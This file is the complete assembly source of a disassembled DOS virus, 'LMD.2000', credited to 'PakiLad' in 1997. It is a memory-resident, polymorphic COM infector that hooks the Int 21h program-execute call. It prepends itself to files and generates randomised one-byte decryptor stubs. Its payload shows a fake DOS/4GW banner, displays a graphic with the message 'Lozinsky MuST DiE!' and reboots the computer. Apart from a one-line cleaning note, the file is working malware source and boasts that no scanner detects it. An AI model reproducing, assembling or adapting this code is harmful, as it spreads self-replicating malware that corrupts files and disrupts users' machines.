📄 lmd-2000.asm
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; LMD.2000
; Resident Polymorphic COM Infector
; Virus Reroutes Int 21h Handler through Int 84h and uses Int 84h for
; virus function calls. Int 21h Function 4Bh (Set Execution State) is hooked
; for infection routine. Virus prepends its body to files and writes 2000
; original bytes to end of file. Polymorphic routine makes 128 random
; one byte instructions and then fills in crypt information.
; Cleaning Instructions - Overwrite First 2000 Bytes with Last 2000 Bytes
; Detection - No scanners detect this beastie yet.
; Research and Disassembly by PakiLad 05/03/97
p386n
seg000 segment byte public 'CODE' use16
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
start:
db 128 dup (90h) ; Buffer For Cryptor
CryptedCode:
jmp VirusStart
OneByteTable db 26h ; SEGES
db 27h ; DAA
db 2Eh ; SEGCS
db 2Fh ; DAS
db 0FBh ; STI
db 37h ; AAA
db 3Eh ; SEGDS
db 3Fh ; AAS
db 40h ; INC AX
db 42h ; INC DX
db 46h ; INC SI
db 48h ; DEC AX
db 4Ah ; DEC DX
db 4Eh ; DEC SI
db 90h ; NOP
db 92h ; XCHG AX, DX
InfMarker db 'LMD'
GetRand15 proc near
push cx
in ax, 40h ; Get Random Number
xchg ax, cx
MakeRandLoop:
xor ax, cx
loop MakeRandLoop
xchg ax, cx
in ax, 40h ; Get Random Number
inc cx
xor ax, cx
and ax, 0Fh ; Number 0 - 15
pop cx
retn
GetRand15 endp
GetOneByteIns proc near
push di
mov di, offset OneByteTable
call GetRand15
add di, ax
mov al, cs:[di]
pop di
retn
GetOneByteIns endp
CopyOverVir proc near
push bx
push es
push ds
nop
push cs
pop es ; ES = CS
assume es:seg000
mov di, offset Buffer+10h
mov si, offset start + 10h
mov cx, 2000
rep movsb
push ds
pop ax
add ax, 126
mov [RestoreSeg + 10h], ax
mov al, [LastByte + 10h]
push ax
push cs
mov ax, offset StoreLastByte + 10h
push ax
mov [LastByte + 10h], 0CBh
jmp near ptr JMPFarProg
CopyOverVir endp
StoreLastByte:
pop ax
pop ds
mov [LastByte + 10h], al
pop es
assume es:nothing
pop bx
retn
CheckGeneration proc near
in al, 40h ; Get Random Number
cmp al, 240 ; Below 240?
jb RandBelow240 ; Yes? Then JMP.
call GenerateCryptor
call GenerateCryptor
push dx
db 8Dh, 16h, 88h, 02h ; (FIXUP) LEA DX, OFFSET FAKE4DOSGW
mov ah, 9
int 21h ; Write Fake Message
pop dx
RandBelow240:
retn
CheckGeneration endp
SetupInt84 proc near
push es
push bx
push di
xor ax, ax
mov di, 211h ; Offset of INT 84h
push ds
mov ds, ax ; DS points to IVT
assume ds:nothing
cmp word ptr [di], 0 ; Is Virus Installed?
jnz AlreadyInMem ; Yes? Then JMP.
mov ax, 3521h
int 21h ; Get Int 21h Vectors
dec di
mov ax, es
mov [di], bx ; Set New Int 84h Offset
inc di
inc di
mov [di], ax ; Set New Int 84h Segment
cmp ax, ax
AlreadyInMem:
pop ds
assume ds:seg000
pop di
pop bx
pop es
retn
SetupInt84 endp
InstallVirus proc near
push si
push di
push bx
mov ax, 5803h
xor bx, bx
int 21h ; Get UMB Link Status
push es
push dx
mov ax, 3521h
int 21h ; Get Int 21h Vectors
mov ax, es
mov cs:Int21Ofs, bx
mov cs:Int21Seg, ax
push ds
push ds
pop ax
dec ax
mov ds, ax ; DS points to MCB
assume ds:nothing
sub word ptr ds:3, 272 ; Subtract 4352 Bytes
sub word ptr ds:12h, 272 ; Subtract 4352 Bytes From Next Seg
mov es, ds:12h ; ES points to Next Segment
xor di, di
xor si, si
mov cx, 2272
rep movsb ; Copy Virus Into Memory
xor ax, ax
mov ds, ax ; DS points to IVT
assume ds:nothing
sub word ptr ds:413h, 5 ; Subtract 5k From System Memory
mov word ptr es:1, 0 ; Set New PSP Segment
mov word ptr es:3, 272 ; Allocate 4352 Bytes
push es
pop ds ; DS = ES
assume ds:seg000
mov ax, 2521h
mov dx, offset NewInt21 + 10h
int 21h ; Set New Int 21h Vectors
pop ds
pop dx
pop es
pop bx
pop di
pop si
retn
InstallVirus endp
FakeDOS4GW db 0Ah
db 'DOS/4GW Protected Mode Run-time Version 1.95',0Dh,0Ah
db 'Copyright (c) Rational Systems, Inc. 1990-1993',0Dh,0Ah
db 0Dh,0Ah,'$'
JMPFarProg db 0EAh
RestoreOfs dw 100h
RestoreSeg dw 0
RestoreRoutine:
rep movsb
pop di
pop si
pop cx
jmp short $+2
FileSize dw 0
NewInt24:
mov al, 3
iret
db 37h
VirusStart:
call CheckGeneration
in al, 40h ; Get Random Number
cmp al, 16 ; Above 16?
ja NoPayload ; Yes? Then JMP.
mov ax, 11h
int 10h ; Set Video Mode 80x13
mov ax, 0A000h
mov es, ax ; ES points to Video Memory
assume es:nothing
mov di, 3222h
mov si, offset Graphic
mov cx, 80
DisplayGraphic:
push cx
mov cx, 80
DisplayLine:
cmp cx, 69
jb Below69
mov al, [si]
inc si
mov es:[di], al
Below69:
inc di
loop DisplayLine
pop cx
loop DisplayGraphic
mov ah, 9
mov dx, offset LozMustDie
int 21h ; Write String
xor ax, ax
int 16h ; Wait For KeyPress
jmp near ptr Reboot
LozMustDie db 9,9,0Ah
db 9,0Ah
db 0Ah
db 0Ah
db 7,' Lozinsky MuST DiE!$'
NoPayload:
xor ax, ax
call GenerateCryptor
call SetupInt84
jnz RestoreProg
call InstallVirus
RestoreProg:
mov si, offset start
mov di, 0FFFEh
xor dx, dx
push cx
push si
push di
push cs
pop es
assume es:seg000
mov si, offset RestoreRoutine
mov di, 0F9h
mov cx, 7
rep movsb ; Copy Restore Routine
mov si, [si]
mov di, offset start
add si, di
mov cx, 2000
db 0E9h,069h,0FDh ; JMP To Restore Routine
NewInt21:
cmp ax, 4B00h ; Set Execution State?
jz InfectFile ; Yes? Then JMP.
JMPFar21 db 0EAh
Int21Ofs dw 0
Int21Seg dw 0
InfectFile:
pushf
push ax
push bx
push cx
push es
push si
push di
push dx
push ds
push cs
pop ds
mov dx, offset NewInt24 + 10h
mov ax, 2524h
int 84h ; Set New Int 24h
pop ds
pop dx
push dx
push ds
mov ax, 4300h
push ax
int 84h ; Get File Attributes
pop ax
inc ax
push ax
push cx
and cl, 0D8h
int 84h ; Clear File Attributes
jb FileProblems ; Problems? Then JMP.
mov ax, 3D02h
int 84h ; Open File
xchg ax, bx
mov ax, 5700h
int 84h ; Get File Date/Time
push cx
push dx
push cs
pop ds ; DS = CS
mov cx, 128
mov dx, offset Buffer+10h
mov ah, 3Fh
int 84h ; Read In 128 Bytes
cmp cx, ax ; Read 128 ?
jnz RestoreTD ; No? Then JMP.
mov al, [Buffer+10h]
cmp al, 'M' ; EXE File?
jz RestoreTD ; Yes? Then JMP.
cmp al, 'Z' ; EXE File?
jz RestoreTD ; Yes? Then JMP.
call CheckForMark
jz RestoreTD ; Infected Already? Then JMP.
call DoInfect
call NotBigEnough
RestoreTD:
pop dx
pop cx
mov ax, 5701h
int 84h ; Restore File Date/Time
mov ah, 3Eh
int 84h ; Close File
FileProblems:
pop cx
pop ax
int 84h ; Restore File Attributes
pop ds
pop dx
pop di
pop si
pop es
assume es:nothing
pop cx
pop bx
pop ax
popf
jmp short near ptr JMPFar21
CheckForMark proc near
push di
push si
mov di, offset InfMarker
mov cx, 16
FindMark:
mov al, [di]
push cx
mov si, offset Buffer+10h
mov cx, 128
CheckForMarker:
mov ah, [si]
cmp al, ah
jz FoundMark
inc si
loop CheckForMarker
cmp ax, cx
pop cx
jmp short DoneWithMark
FoundMark:
pop cx
inc di
loop FindMark
cmp ax, ax
DoneWithMark:
pop si
pop di
CheckForMark endp
NotBigEnough proc near
retn
NotBigEnough endp
DoInfect proc near
mov cx, 1872
mov dx, offset OrgProgram+10h
mov ah, 3Fh
int 84h ; Read In 1872 Bytes
cmp ax, cx ; Read 1872?
jnz NotBigEnough ; No? Then JMP.
xor cx, cx
xor dx, dx
mov ax, 4202h
int 84h ; Move Pointer to End of File
jb NotBigEnough
cmp dx, 0 ; Over 64k?
jnz NotBigEnough ; Yes? Then JMP.
cmp ax, 2048 ; Under 2048 Bytes?
jb NotBigEnough ; Yes? Then JMP.
cmp ax, 60000 ; Over 60000 Bytes?
ja NotBigEnough ; Yes? Then JMP.
cmp Buffer+30h, 0
jz NotBigEnough
mov [FileSize + 10h], ax
mov ah, 40h
mov dx, offset Buffer+10h
mov cx, 2000
int 84h ; Write Original Bytes To End of File
jb NotBigEnough
call CopyOverVir
xor cx, cx
xor dx, dx
mov ax, 4200h
int 84h ; Move Pointer to Beginning
mov ah, 40h
mov dx, offset Buffer+10h
mov cx, 2000
int 84h ; Write Virus to File
retn
DoInfect endp
Graphic db 0, 30h, 0Bh dup(0), 20h, 2 dup(0), 1Ah, 0FBh, 0EBh, 9Fh, 90h, 4 dup(0)
db 20h, 2 dup(0), 47h, 2 dup(25h), 0FDh, 0AAh, 4 dup(0), 0E0h, 0, 7, 0FAh
db 12h, 92h, 22h, 54h, 80h, 3 dup(0), 0C0h, 0Ch, 4, 0, 0A8h, 4Ah, 94h
db 55h, 40h, 3 dup(0), 0C0h, 8, 0Dh, 5Ah, 45h, 2 dup(55h), 0AAh, 0A0h
db 3 dup(0), 0C0h, 0FBh, 0F2h, 4, 95h, 54h, 0AAh, 5Dh, 0A0h, 3 dup(0)
db 0DDh, 80h, 28h, 0A2h, 49h, 2 dup(55h), 2 dup(0AAh), 3 dup(0), 0D7h
db 0Ah, 2, 19h, 25h, 5Dh, 4Ah, 6Dh, 0A4h, 3 dup(0), 0E6h, 0, 0A8h, 84h
db 95h, 7Ah, 0AAh, 56h, 0D0h, 3 dup(0), 0C0h, 48h, 2, 59h, 52h, 8Bh, 55h
db 0BAh, 0AAh, 4 dup(0), 2, 90h, 4, 4Ah, 7Dh, 55h, 6Fh, 64h, 4 dup(0)
db 24h, 25h, 5Ah, 2 dup(0AAh), 0ABh, 0B5h, 0B0h, 4 dup(0), 3 dup(1), 2Ah
db 0D5h, 0AAh, 5Ah, 0AAh, 4 dup(0), 40h, 8, 99h, 55h, 5Ah, 0DAh, 0DBh
db 53h, 4 dup(0), 15h, 52h, 44h, 0AAh, 0ABh, 57h, 0AAh, 0A9h, 80h, 4 dup(0)
db 89h, 22h, 55h, 6Dh, 55h, 5Eh, 0AAh, 0C0h, 2 dup(0), 4, 42h, 24h, 99h
db 56h, 0B5h, 56h, 0EAh, 0D1h, 5 dup(0), 91h, 25h, 5Bh, 2 dup(0AAh), 0D5h
db 4Ah, 40h, 4 dup(0), 8, 81h, 2Ah, 0AAh, 95h, 2Eh, 0E9h, 4 dup(0), 1
db 45h, 24h, 4, 56h, 0DAh, 0E9h, 54h, 80h, 2 dup(0), 8, 80h, 20h, 0, 21h
db 55h, 56h, 0DDh, 0B6h, 3 dup(0), 2, 8, 0Ah, 2 dup(0), 2Ah, 0BBh, 0AAh
db 0D4h, 80h, 4 dup(0), 40h, 44h, 1, 9, 55h, 56h, 0AAh, 40h, 2 dup(0)
db 8, 5, 1, 0, 80h, 25h, 6Dh, 0BBh, 69h, 3 dup(0), 2, 0, 0Ch, 0A0h, 5
db 6, 92h, 0C9h, 54h, 4 dup(0), 20h, 26h, 4, 0, 0A0h, 4Ah, 0D4h, 20h, 90h
db 2 dup(0), 4, 1, 19h, 61h, 0, 9, 24h, 6Bh, 55h, 1, 3 dup(0), 40h, 45h
db 4, 10h, 0C4h, 49h, 0A4h, 94h, 2Fh, 3 dup(0), 14h, 2Ah, 59h, 0, 20h
db 0E0h, 4Bh, 68h, 0A5h, 2 dup(0), 2 dup(1), 54h, 0A0h, 1, 48h, 2, 0AAh
db 0B4h, 32h, 3 dup(0), 20h, 0AAh, 5Ah, 90h, 24h, 5, 0B5h, 0A9h, 55h, 3 dup(0)
db 8Ah, 55h, 58h, 44h, 92h, 95h, 0AAh, 0A4h, 22h, 3 dup(0), 1, 6Ah, 26h
db 82h, 4Ch, 6Ah, 16h, 0B4h, 0D4h, 2 dup(0), 1, 55h, 0ADh, 9Ah, 51h, 20h
db 95h, 0EAh, 0AAh, 0B1h, 3 dup(0), 2, 0AAh, 0BDh, 2Ah, 54h, 56h, 2Ah
db 0A9h, 59h, 3 dup(0), 15h, 55h, 42h, 0A9h, 25h, 52h, 0D5h, 55h, 0EAh
db 3 dup(0), 49h, 6Dh, 5Dh, 4Ah, 94h, 0ADh, 2Ah, 49h, 34h, 3 dup(0), 25h
db 56h, 0A4h, 55h, 6Ah, 0D5h, 0A9h, 25h, 0ABh, 3 dup(0), 55h, 75h, 42h
db 0Bh, 0C5h, 2Ah, 0D4h, 92h, 0A0h, 2 dup(0), 1, 13h, 0ADh, 59h, 40h, 22h
db 0D5h, 42h, 0AAh, 47h, 3 dup(0), 4Ah, 0F6h, 0E4h, 2Ah, 95h, 5Ah, 94h
db 95h, 15h, 3 dup(0), 2Bh, 55h, 0BBh, 89h, 55h, 45h, 8Ah, 54h, 0ABh, 3 dup(0)
db 9, 2Ah, 86h, 0A4h, 25h, 55h, 51h, 55h, 17h, 3 dup(0), 2, 0, 3Bh, 2 dup(49h)
db 53h, 0A5h, 55h, 6Ah, 3 dup(0), 40h, 0Ah, 0DDh, 0A5h, 4, 0AAh, 55h, 54h
db 0AAh, 4 dup(0), 41h, 27h, 51h, 69h, 25h, 0CAh, 0A9h, 50h, 3 dup(0)
db 9, 2Ah, 0DAh, 0EAh, 0A4h, 0ABh, 12h, 40h, 5 dup(0), 4Ah, 5Fh, 54h, 52h
db 53h, 55h, 28h, 5 dup(0), 25h, 60h, 0AAh, 0A9h, 49h, 0D4h, 80h, 4 dup(0)
db 4, 0, 26h, 95h, 2Ah, 0AAh, 69h, 48h, 4 dup(0), 1, 41h, 2 dup(0), 0A9h
db 29h, 2 dup(24h), 4 dup(0), 10h, 15h, 2 dup(65h), 54h, 0A4h, 52h, 82h
db 4 dup(0), 2, 0AAh, 0A5h, 90h, 2 dup(0AAh), 29h, 15h, 4 dup(0), 10h
db 5, 5Ah, 6Ah, 0A1h, 25h, 52h, 51h, 0F8h, 3 dup(0), 1, 20h, 45h, 92h
db 54h, 92h, 0C4h, 0ABh, 8Fh, 3 dup(0), 8, 15h, 25h, 55h, 25h, 54h, 0A1h
db 25h, 80h, 3 dup(0), 5, 42h, 0A5h, 6Ah, 0A8h, 12h, 94h, 0A9h, 0C0h, 3 dup(0)
db 5, 55h, 5Ah, 2 dup(0AAh), 0A4h, 4Ah, 0A9h, 0C0h, 3 dup(0), 11h, 55h
db 0A5h, 2 dup(0AAh), 49h, 0AAh, 0A3h, 0E0h, 3 dup(0), 4, 0AAh, 0A6h, 0B5h
db 55h, 23h, 0D5h, 55h, 0E0h, 3 dup(0), 2, 2Dh, 0BAh, 0AAh, 0A2h, 4Ah
db 54h, 0A3h, 0E0h, 3 dup(0), 8, 0A5h, 5Ah, 0A4h, 94h, 25h, 0AAh, 0ABh
db 0E0h, 3 dup(0), 1, 2Ah, 0A5h, 52h, 41h, 56h, 55h, 57h, 0F0h, 4 dup(0)
db 25h, 59h, 24h, 14h, 8Ah, 55h, 57h, 0F0h, 4 dup(0), 40h, 22h, 40h, 82h
db 5Dh, 0AAh, 0AFh, 0F8h, 4 dup(0), 9, 4, 10h, 11h, 6Ah, 55h, 5Fh, 0F8h
db 6 dup(0), 1, 4Ah, 0ADh, 0D5h, 3Fh, 0F8h, 6 dup(0), 4, 0AEh, 0AAh, 2Ah
db 0BFh, 0F8h, 6 dup(0), 15h, 2Ah, 0D5h, 0AAh, 7Fh, 0F8h, 5 dup(0), 20h
db 0A2h, 55h, 2Ah, 54h, 0FFh, 0F8h, 4 dup(0), 3, 0FCh, 49h, 2Ah, 0AAh
db 53h, 0FFh, 0F8h, 4 dup(0), 3, 0FEh, 92h, 91h, 55h, 0A3h, 0FFh, 0F8h
db 4 dup(0), 3, 0FFh, 48h, 4Dh, 4Ah, 4Fh, 0FFh, 0F8h, 4 dup(0), 3, 0FFh
db 0A5h, 25h, 55h, 9Bh, 0DDh, 18h, 4 dup(0), 3, 0FFh, 0D4h, 0AAh, 0A8h
db 7Bh, 0C9h, 68h, 4 dup(0), 3, 0FFh, 0FAh, 44h, 0A5h, 0FBh, 0C1h, 68h
db 4 dup(0), 3, 0FFh, 0FAh, 95h, 53h, 0FBh, 55h, 68h, 4 dup(0), 3, 2 dup(0FFh)
db 52h, 8Fh, 0F8h, 5Dh, 18h, 4 dup(0), 3, 2 dup(0FFh), 0A4h, 5Fh, 2 dup(0FFh)
db 0F8h, 0, 0Bh dup(0FFh)
Reboot db 0EAh ; Reboot Computer
dw 0
dw 0FFFFh
GenerateCryptor proc near
push di
push ds
push cs
pop ds
mov di, offset start
mov cx, 128
push di
FillWithOneByte:
call GetOneByteIns
mov [di], al
inc di
loop FillWithOneByte
pop di
call GetRand15
add di, ax
mov byte ptr [di], 0BBh ; Store MOV BX Instruction
add di, 3
call GetRand15
add di, ax
mov word ptr [di], 0A8B9h ; Store MOV CX, Instruction
inc di
inc di
mov byte ptr [di], 3 ; Store Decrypt Size
inc di
call GetRand15
add di, ax
mov word ptr [di], 80BFh ; Store MOV DI
inc di
inc di
mov byte ptr [di], 1 ; Store Offset of Crypted Code
inc di
call GetRand15
add di, ax
push di
mov word ptr [di], 312Eh ; XOR [DI],
inc di
inc di
mov byte ptr [di], 1Dh ; BX
inc di
call GetRand15
add di, ax
mov word ptr [di], 4747h ; INC SI/INC SI
inc di
inc di
mov byte ptr [di], 43h ; INC AX
inc di
call GetRand15
add di, ax
mov byte ptr [di], 0E2h ; LOOP Instruction
pop ax
push di
sub di, ax
mov ax, 0FFFEh
sub ax, di
pop di
inc di
mov [di], al ; Loop Offset
pop ds
pop di
retn
GenerateCryptor endp
Buffer db 0CDh, 20h, 125 dup (0)
LastByte db 0
OrgProgram db 1872 dup (0)
seg000 ends
end start
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